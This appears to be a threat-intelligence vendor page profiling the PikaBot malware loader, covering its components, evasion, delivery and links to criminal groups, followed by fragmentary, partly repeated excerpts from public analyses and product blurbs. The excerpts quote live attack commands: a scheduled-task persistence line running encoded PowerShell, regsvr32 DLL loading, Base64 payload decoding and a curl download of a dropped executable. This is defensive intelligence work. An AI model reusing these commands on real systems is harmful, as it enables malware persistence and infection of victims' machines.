Loading malware…
PikaBot is a Windows malware family first observed in 2023 and primarily used as a modular loader with backdoor functionality. It is commonly structured as a two-part system consisting of a loader or injector and a core module. The loader is responsible for decrypting and launching the core, often by injecting it into legitimate Windows processes to reduce visibility, while the core handles command-and-control communications, host profiling, command execution, and delivery of additional payloads. Reported follow-on payloads and ecosystem associations include Cobalt Strike and ransomware operations, and the malware has been used by intrusion clusters and criminal operators including TA577 and Black Basta.
PikaBot is designed for stealth and anti-analysis. Public analyses have documented anti-debugging checks, anti-virtualization logic, language-based execution restrictions that avoid some CIS-region systems, API hashing, junk code insertion, encrypted stack strings, and evolving string-obfuscation schemes using RC4 and, in earlier variants, Base64 and AES-CBC. Some variants also use indirect syscalls and process injection to conceal malicious activity. The malware has been observed masquerading as legitimate Microsoft components and using legitimate signed installers or signed binaries in some campaigns.
The core module supports arbitrary command execution, process enumeration, system reconnaissance, and payload delivery. Documented capabilities include collecting host and domain information, enumerating running processes, executing shell commands, downloading and running executable or DLL payloads, injecting PE payloads or shellcode, and writing files or registry-backed data for persistence or staging. Network communications have been observed over HTTP or HTTPS using encrypted or encoded application-layer protocols, with protocol details changing across versions.
PikaBot has been distributed through multiple delivery chains. The most consistently reported vector is thread-hijacking email campaigns in which victims are lured to retrieve archives containing JavaScript or other script-based downloaders. Additional observed delivery mechanisms include malspam, malicious ads impersonating legitimate software brands, ZIP-contained JavaScript droppers, VBS downloaders, LNK downloaders, and signed MSI-based installers. Some campaigns used restrictive filtering and fingerprinting before payload delivery. The malware has also appeared in operations that resembled historical QakBot tradecraft, although direct authorship overlap has not been conclusively established.
Operationally, PikaBot has been linked to initial-access and malware-delivery ecosystems rather than standalone monetization. It has been used to establish footholds that enable post-exploitation activity and deployment of secondary tooling. Law-enforcement reporting tied it to Operation Endgame disruptions in 2024 alongside other major loader and botnet families, underscoring its role in the broader cybercrime access market.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
It was quickly nicknamed Pikabot. Pikabot consists of two components: loader/injector and core module. Core module then performs malicious behaviors, including gathering information about the victim machine, connecting to command and control server to receive and execute arbitrary commands, downloading and injecting other malware.
Specifically, our SOC frequently saw Black Basta sign Pikabot and Darkgate malware they used in phishing campaigns.
35 distinct techniques documented for this family, organized by ATT&CK tactic.
Over the past few years, cybercriminals have increasingly used the drive-by download technique to distribute malware via user web browsing.
schtasks.exe /Create /F /TN "{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6}" /TR " cmd /q /c start /min \"\" powershell \"$nonresistantOutlivesDictatorial = Get-ItemProperty -Path HKCU:\Software\nonresistantOutlivesDictatorial; powershell -encodedcommand $nonresistantOutlivesDictatorial.AphroniaHaimavati \"" /SC MINUTE /MO 1
Use of Malicious Scripts – Executing scripts (e.g., ‘.vbs’, ‘.msi’) to establish persistence.
VBS Downloaders leverage Visual Basic runtime applications, usually available within Windows environments, to carry out the download and execution of malware binaries.
commands we have identified so far are as follows: dll Fetch and run DLL
schtasks.exe /Create /F /TN "{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6}" /TR " cmd /q /c start /min \"\" powershell \"$nonresistantOutlivesDictatorial = Get-ItemProperty -Path HKCU:\Software\nonresistantOutlivesDictatorial; powershell -encodedcommand $nonresistantOutlivesDictatorial.AphroniaHaimavati \"" /SC MINUTE /MO 1
schtasks.exe /Create /F /TN "{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6}" /TR " cmd /q /c start /min \"\" powershell \"$nonresistantOutlivesDictatorial = Get-ItemProperty -Path HKCU:\Software\nonresistantOutlivesDictatorial; powershell -encodedcommand $nonresistantOutlivesDictatorial.AphroniaHaimavati \"" /SC MINUTE /MO 1
Members frequently exchanged ideas on payload obfuscation... bypassing antivirus (AV) and endpoint detection and response (EDR) systems... operators frequently discuss payload customization to bypass detection mechanisms.
To further hide the core module the binary has been built to mimic a legitimate SearchProtocolHost.exe binary including some of the plain text strings in the binary.
The core module is injected into a legitimate SearchProtocolHost.exe process which is launched by the loader. The loader uses indirect syscalls to hide it's injection but once observed these are just simple process injection calls like NTWriteVirtualMemory.
Once decrypted we can see that they are Base64 encoded PowerShell commands ... Get-Content ... | %{[Convert]::FromBase64String($_)}; Set-Content ... -Encoding Byte;
regsvr32 /s $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll;
regsvr32 /s $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll;
Mutex Loll they create a hard coded mutex {8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6}
0x5a10ab: HARDWARE\ACPI\DSDT\VBOX__ | HARDWARE\ACPI\DSDT\VBOX__
The malware was tagged as a peexe, long-sleeps, spreader, detect-debug-environment, service-scan, overlay, revoked-cert, signed and checks-user-input.
Initial POSTs to the hardcoded C2 feature the following decrypted payload: { ... "os_version" ... "username" ... "pc_name" ... "cpu_name" ... "gpu_name" ... "ram_amount" ... "screen_resolution" ... "av_software" ... "domain_name" ... }
0x5a10ab: HARDWARE\ACPI\DSDT\VBOX__ | HARDWARE\ACPI\DSDT\VBOX__
The malware was tagged as a peexe, long-sleeps, spreader, detect-debug-environment, service-scan, overlay, revoked-cert, signed and checks-user-input.
It excludes CIS countries based on the configured language ID of the infected system
The file triggered the following high IDS rules: - ET CNC Feodo Tracker Reported CnC Server group 1 - ET CNC Feodo Tracker Reported CnC Server group 2
InternetOpenW ... InternetConnectW ... POST ... HttpOpenRequestW ... HttpSendRequestW
The VBS script downloaded a simple command from the panel... `curl.exe http[:]//domain.com:2351/adfguwie4 -O autoit.exe`
109 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
106 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Referenced as an example botnet distributed via drive-by download techniques.
Pikabot2
A malware family in the dropper/loader ecosystem referenced as a prior law-enforcement target.
Loader malware whose infrastructure was targeted in prior Operation Endgame actions.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.